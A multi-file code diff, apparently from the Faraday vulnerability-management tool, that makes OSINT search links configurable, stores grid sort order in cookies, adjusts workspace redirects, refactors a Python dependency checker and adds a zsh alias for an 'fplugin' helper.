76 | 76 | <td><input type="checkbox" name="{{host._id}}"/></td> |
77 | 77 | <td> |
78 | {{host.name}} | |
79 | <a href="//www.shodan.io/search?query={{host.name}}" uib-tooltip="Search in Shodan" target="_blank"> | |
80 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
78 | <a ng-href="#/host/ws/{{workspace}}/hid/{{host._id}}">{{host.name}}</a> | |
79 | <a ng-href="//{{osint.host}}/search?query={{host.name}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
80 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
81 | 81 | </a> |
82 | 82 | </td> |
83 | <td><a href="#/host/ws/{{workspace}}/hid/{{host._id}}" ng-bind="host.services || '-'"></a></td> | |
83 | <td><a ng-href="#/host/ws/{{workspace}}/hid/{{host._id}}" ng-bind="host.services || '-'"></a></td> | |
84 | 84 | <td><a ng-href="#/status/ws/{{workspace}}/search/target={{host.name}}" ng-bind="host.vulns"></a></td> |
85 | 85 | <td> |
86 | 86 | <a ng-href="#/hosts/ws/{{workspace}}/search/os={{host.os}}"> |
7 | 7 | function($scope, indexFact) { |
8 | 8 | indexFact.getConf().then(function(conf) { |
9 | 9 | $scope.version = conf.data.ver; |
10 | $scope.osint = conf.data.osint; | |
10 | 11 | }); |
11 | 12 | |
12 | 13 | }]); |
112 | 112 | <a ng-href="#/host/ws/{{workspace}}/hid/{{host._id}}/search/name={{service.name}}"> |
113 | 113 | <span ng-bind="service.name"></span> |
114 | 114 | </a> |
115 | <a ng-href="//www.shodan.io/search?query={{service.name}}" uib-tooltip="Search in Shodan" target="_blank"> | |
116 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
115 | <a ng-href="//{{osint.host}}/search?query={{service.name}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
116 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
117 | 117 | </a> |
118 | 118 | </td> |
119 | 119 | <td ng-bind="service.version || '-'"></td> |
120 | 120 | <td> |
121 | 121 | <span ng-bind="service.ports"></span> |
122 | <a ng-href="//www.shodan.io/search?query=port:{{service.ports}}" uib-tooltip="Search in Shodan" target="_blank"> | |
123 | <img ng-src="images/shodan.png" height="15px" width="15px" /> | |
122 | <a ng-href="//{{osint.host}}/search?query=port:{{service.ports}}" uib-tooltip="Search in {{osint.label}}" target="_blank"> | |
123 | <img ng-src="images/{{osint.icon}}.png" height="15px" width="15px" /> | |
124 | 124 | </a> |
125 | 125 | </td> |
126 | 126 | <td> |
186 | 186 | }); |
187 | 187 | } |
188 | 188 | |
189 | // load cookie of columns ordering if exists | |
190 | paginationOptions.sortColumn = $cookies.get('SRsortColumn') || null; | |
191 | paginationOptions.sortDirection = $cookies.get('SRsortDirection') || null; | |
192 | ||
189 | 193 | defineColumns(); |
190 | 194 | |
191 | 195 | $scope.vulnWebSelected = false; |
201 | 205 | $scope.gridOptions.columnDefs.push({ name: 'confirmVuln', width: '40', headerCellTemplate: "<div></div>", cellTemplate: 'scripts/statusReport/partials/ui-grid/confirmbutton.html' }); |
202 | 206 | $scope.gridOptions.columnDefs.push({ name: 'deleteVuln', width: '40', headerCellTemplate: "<div></div>", cellTemplate: 'scripts/statusReport/partials/ui-grid/deletebutton.html' }); |
203 | 207 | $scope.gridOptions.columnDefs.push({ name: 'editVuln', width: '30', headerCellTemplate: "<div></div>", cellTemplate: 'scripts/statusReport/partials/ui-grid/editbutton.html' }); |
208 | ||
209 | function getColumnSort(columnName){ | |
210 | if($cookies.get('SRsortColumn') === columnName){ | |
211 | direction = ($cookies.get('SRsortDirection').toLowerCase() == 'asc') | |
212 | ? uiGridConstants.ASC | |
213 | : uiGridConstants.DESC; | |
214 | return {ignoreSort: true, priority: 0, direction: direction}; | |
215 | }else{ | |
216 | return {}; | |
217 | } | |
218 | } | |
204 | 219 | |
205 | 220 | var header = '<div ng-class="{ \'sortable\': sortable }">'+ |
206 | 221 | ' <div class="ui-grid-cell-contents" col-index="renderIndex" title="TOOLTIP">{{ col.displayName CUSTOM_FILTERS }}'+ |
220 | 235 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/datecolumn.html', |
221 | 236 | headerCellTemplate: header, |
222 | 237 | width: '90', |
238 | sort: getColumnSort('date'), | |
223 | 239 | visible: $scope.columns["date"] |
224 | 240 | }); |
225 | 241 | $scope.gridOptions.columnDefs.push({ name : 'name', |
226 | 242 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/namecolumn.html', |
227 | 243 | headerCellTemplate: header, |
228 | 244 | maxWidth: '230', |
245 | sort: getColumnSort('name'), | |
229 | 246 | visible: $scope.columns["name"] |
230 | 247 | }); |
231 | 248 | $scope.gridOptions.columnDefs.push({ name : 'severity', |
234 | 251 | type: 'string', |
235 | 252 | width: '70', |
236 | 253 | visible: $scope.columns["severity"], |
254 | sort: getColumnSort('severity'), | |
237 | 255 | sortingAlgorithm: compareSeverities |
238 | 256 | }); |
239 | 257 | $scope.gridOptions.columnDefs.push({ name : 'service', |
240 | 258 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/servicecolumn.html', |
241 | 259 | headerCellTemplate: header, |
242 | 260 | width: '110', |
243 | visible: $scope.columns["service"] | |
261 | visible: $scope.columns["service"], | |
262 | sort: getColumnSort('service'), | |
244 | 263 | }); |
245 | 264 | $scope.gridOptions.columnDefs.push({ name : 'hostnames', |
246 | 265 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/hostnamescolumn.html', |
247 | 266 | headerCellTemplate: header, |
248 | 267 | minWidth: '100', |
249 | 268 | maxWidth: '200', |
269 | sort: getColumnSort('hostnames'), | |
250 | 270 | visible: $scope.columns["hostnames"] |
251 | 271 | }); |
252 | 272 | $scope.gridOptions.columnDefs.push({ name : 'target', |
253 | 273 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/targetcolumn.html', |
254 | 274 | headerCellTemplate: header, |
255 | 275 | width: '140', |
276 | sort: getColumnSort('target'), | |
256 | 277 | visible: $scope.columns["target"] |
257 | 278 | }); |
258 | 279 | $scope.gridOptions.columnDefs.push({ name : 'desc', |
260 | 281 | headerCellTemplate: header, |
261 | 282 | minWidth: '300', |
262 | 283 | maxWidth: '400', |
284 | sort: getColumnSort('desc'), | |
263 | 285 | visible: $scope.columns["desc"] |
264 | 286 | }); |
265 | 287 | $scope.gridOptions.columnDefs.push({ name : 'resolution', |
266 | 288 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/resolutioncolumn.html', |
267 | 289 | headerCellTemplate: header, |
290 | sort: getColumnSort('resolution'), | |
268 | 291 | visible: $scope.columns["resolution"] |
269 | 292 | }); |
270 | 293 | $scope.gridOptions.columnDefs.push({ name : 'data', |
271 | 294 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/resolutioncolumn.html', |
272 | 295 | headerCellTemplate: header, |
296 | sort: getColumnSort('data'), | |
273 | 297 | visible: $scope.columns["data"] |
274 | 298 | }); |
275 | 299 | $scope.gridOptions.columnDefs.push({ name : 'easeofresolution', |
276 | 300 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
277 | 301 | headerCellTemplate: header, |
302 | sort: getColumnSort('easeofresolution'), | |
278 | 303 | visible: $scope.columns["easeofresolution"] |
279 | 304 | }); |
280 | 305 | $scope.gridOptions.columnDefs.push({ name : 'status', |
281 | 306 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/statuscolumn.html', |
282 | 307 | headerCellTemplate: header, |
283 | 308 | width: '100', |
309 | sort: getColumnSort('status'), | |
284 | 310 | visible: $scope.columns["status"] |
285 | 311 | }); |
286 | 312 | $scope.gridOptions.columnDefs.push({ name : 'website', |
287 | 313 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
288 | 314 | headerCellTemplate: header, |
315 | sort: getColumnSort('website'), | |
289 | 316 | visible: $scope.columns["website"] |
290 | 317 | }); |
291 | 318 | $scope.gridOptions.columnDefs.push({ name : 'path', |
292 | 319 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
293 | 320 | headerCellTemplate: header, |
321 | sort: getColumnSort('path'), | |
294 | 322 | visible: $scope.columns["path"] |
295 | 323 | }); |
296 | 324 | $scope.gridOptions.columnDefs.push({ name : 'request', |
297 | 325 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/resolutioncolumn.html', |
298 | 326 | headerCellTemplate: header, |
327 | sort: getColumnSort('request'), | |
299 | 328 | visible: $scope.columns["request"] |
300 | 329 | }); |
301 | 330 | $scope.gridOptions.columnDefs.push({ name : 'refs', |
302 | 331 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/refscolumn.html', |
303 | 332 | headerCellTemplate: header, |
333 | sort: getColumnSort('refs'), | |
304 | 334 | visible: $scope.columns["refs"] |
305 | 335 | }); |
306 | 336 | $scope.gridOptions.columnDefs.push({ name : '_attachments', |
307 | 337 | displayName: "evidence", |
308 | 338 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/evidencecolumn.html', |
309 | 339 | headerCellTemplate: header, |
340 | sort: getColumnSort('_attachments'), | |
310 | 341 | visible: $scope.columns["evidence"] |
311 | 342 | }); |
312 | 343 | $scope.gridOptions.columnDefs.push({ name : 'impact', |
313 | 344 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/impactcolumn.html', |
314 | 345 | headerCellTemplate: header, |
346 | sort: getColumnSort('impact'), | |
315 | 347 | visible: $scope.columns["impact"] |
316 | 348 | }); |
317 | 349 | $scope.gridOptions.columnDefs.push({ name : 'method', |
318 | 350 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
319 | 351 | headerCellTemplate: header, |
352 | sort: getColumnSort('method'), | |
320 | 353 | visible: $scope.columns["method"] |
321 | 354 | }); |
322 | 355 | $scope.gridOptions.columnDefs.push({ name : 'params', |
323 | 356 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
324 | 357 | headerCellTemplate: header, |
358 | sort: getColumnSort('params'), | |
325 | 359 | visible: $scope.columns["params"] |
326 | 360 | }); |
327 | 361 | $scope.gridOptions.columnDefs.push({ name : 'pname', |
328 | 362 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
329 | 363 | headerCellTemplate: header, |
364 | sort: getColumnSort('pname'), | |
330 | 365 | visible: $scope.columns["pname"] |
331 | 366 | }); |
332 | 367 | $scope.gridOptions.columnDefs.push({ name : 'query', |
333 | 368 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/defaultcolumn.html', |
334 | 369 | headerCellTemplate: header, |
370 | sort: getColumnSort('query'), | |
335 | 371 | visible: $scope.columns["query"] |
336 | 372 | }); |
337 | 373 | $scope.gridOptions.columnDefs.push({ name : 'response', |
338 | 374 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/resolutioncolumn.html', |
339 | 375 | headerCellTemplate: header, |
376 | sort: getColumnSort('response'), | |
340 | 377 | visible: $scope.columns["response"] |
341 | 378 | }); |
342 | 379 | $scope.gridOptions.columnDefs.push({ name : 'web', |
343 | 380 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/webcolumn.html', |
344 | 381 | headerCellTemplate: header, |
345 | 382 | width: '80', |
383 | sort: getColumnSort('date'), | |
346 | 384 | visible: $scope.columns["web"] |
347 | 385 | }); |
348 | 386 | $scope.gridOptions.columnDefs.push({ name : 'metadata.creator', |
350 | 388 | cellTemplate: 'scripts/statusReport/partials/ui-grid/columns/creatorcolumn.html', |
351 | 389 | headerCellTemplate: header, |
352 | 390 | width: '100', |
391 | sort: getColumnSort('metadata.creator'), | |
353 | 392 | visible: $scope.columns["creator"] |
354 | 393 | }); |
355 | 394 | }; |
370 | 409 | var sortRowsBy = function(columnName, sortDirection) { |
371 | 410 | paginationOptions.sortColumn = columnName; |
372 | 411 | paginationOptions.sortDirection = sortDirection; |
412 | $cookies.put('SRsortColumn', columnName || ''); | |
413 | $cookies.put('SRsortDirection', sortDirection || ''); | |
373 | 414 | } |
374 | 415 | |
375 | 416 | $scope.ifTooltip = function(text) { |
285 | 285 | }; |
286 | 286 | |
287 | 287 | $scope.redirect = function(path){ |
288 | $location.path("/"+($location.path().split('/')[1] || 'dashboard')+ "/ws/"+path); | |
289 | }; | |
290 | $scope.dashboardRedirect = function(path){ | |
288 | 291 | $location.path("/dashboard/ws/"+path); |
289 | 292 | }; |
290 | 293 |
55 | 55 | <tr ng-repeat="ws in workspaces | filter:query | filter:search | orderBy:sortField:reverse" |
56 | 56 | selection-model selection-model-selected-class="multi-selected"> |
57 | 57 | <td> |
58 | <span class="onhover upsize" ng-click="redirect(ws.name)"> | |
58 | <span class="onhover upsize" ng-click="dashboardRedirect(ws.name)"> | |
59 | 59 | <b>{{ws.name}}</b> |
60 | 60 | </span> |
61 | 61 | </td> |
4 | 4 | |
5 | 5 | ''' |
6 | 6 | |
7 | import pkg_resources | |
7 | 8 | import pip |
8 | import pkg_resources | |
9 | 9 | |
10 | 10 | |
11 | class DependencyChecker(object): | |
12 | def __init__(self, requirements_file): | |
13 | self.mandatory = [] | |
14 | self.optional = [] | |
11 | def check_dependencies(requirements_file='requirements.txt'): | |
12 | dependencies_file = open(requirements_file, 'r') | |
15 | 13 | |
16 | dependencies_file = open(requirements_file, 'r') | |
14 | requirements = list(pkg_resources.parse_requirements(dependencies_file)) | |
17 | 15 | |
18 | for line in dependencies_file: | |
19 | if line.find('#') > -1: | |
20 | # Optional dependencies after the '#' character | |
21 | break | |
22 | self.mandatory.append(line.strip()) | |
16 | installed = [] | |
17 | missing = [] | |
23 | 18 | |
24 | for line in dependencies_file: | |
25 | self.optional.append(line.strip()) | |
19 | for package in requirements: | |
20 | try: | |
21 | pkg_resources.working_set.resolve([package]) | |
22 | installed += [package] | |
23 | except (pkg_resources.DistributionNotFound, pkg_resources.VersionConflict): | |
24 | missing += [package.key] | |
26 | 25 | |
27 | dependencies_file.close() | |
26 | return installed, missing | |
28 | 27 | |
29 | def __check_dependency(self, package): | |
30 | try: | |
31 | pkg_resources.require(package) | |
32 | return True | |
33 | except (pkg_resources.DistributionNotFound, pkg_resources.VersionConflict): | |
34 | return False | |
35 | 28 | |
36 | def check_dependencies(self, with_optional=True): | |
37 | print "Checking dependencies" | |
38 | missing = [] | |
39 | dependencies = self.mandatory | |
40 | if with_optional: | |
41 | dependencies += self.optional | |
42 | for package in dependencies: | |
43 | if not self.__check_dependency(package): | |
44 | missing.append(package) | |
45 | return missing | |
46 | ||
47 | def install_packages(self, packages): | |
48 | for package in packages: | |
49 | pip.main(['install', package, '--user']) | |
29 | def install_packages(packages): | |
30 | for package in packages: | |
31 | pip.main(['install', package, '--user']) |
88 | 88 | send-output |
89 | 89 | } |
90 | 90 | |
91 | if [ -n "${FARADAY_PATH+x}" ]; then | |
92 | echo "[+] Faraday path set. Aliasing fplugin" | |
93 | ||
94 | function fplugin() { | |
95 | "$FARADAY_PATH/bin/fplugin" $*; | |
96 | } | |
97 | else | |
98 | ||
99 | if [ -s "./faraday-server.py" ]; then | |
100 | echo "[+] Faraday path not set, but server found. Aliasing fplugin" | |
101 | function fplugin() { | |
102 | "./bin/fplugin" $*; | |
103 | } | |
104 | else | |
105 | ||
106 | echo "[-] Faraday path not set" | |
107 | fi | |
108 | ||
109 | fi | |
110 | ||
91 | 111 | zle -N accept-line add-output |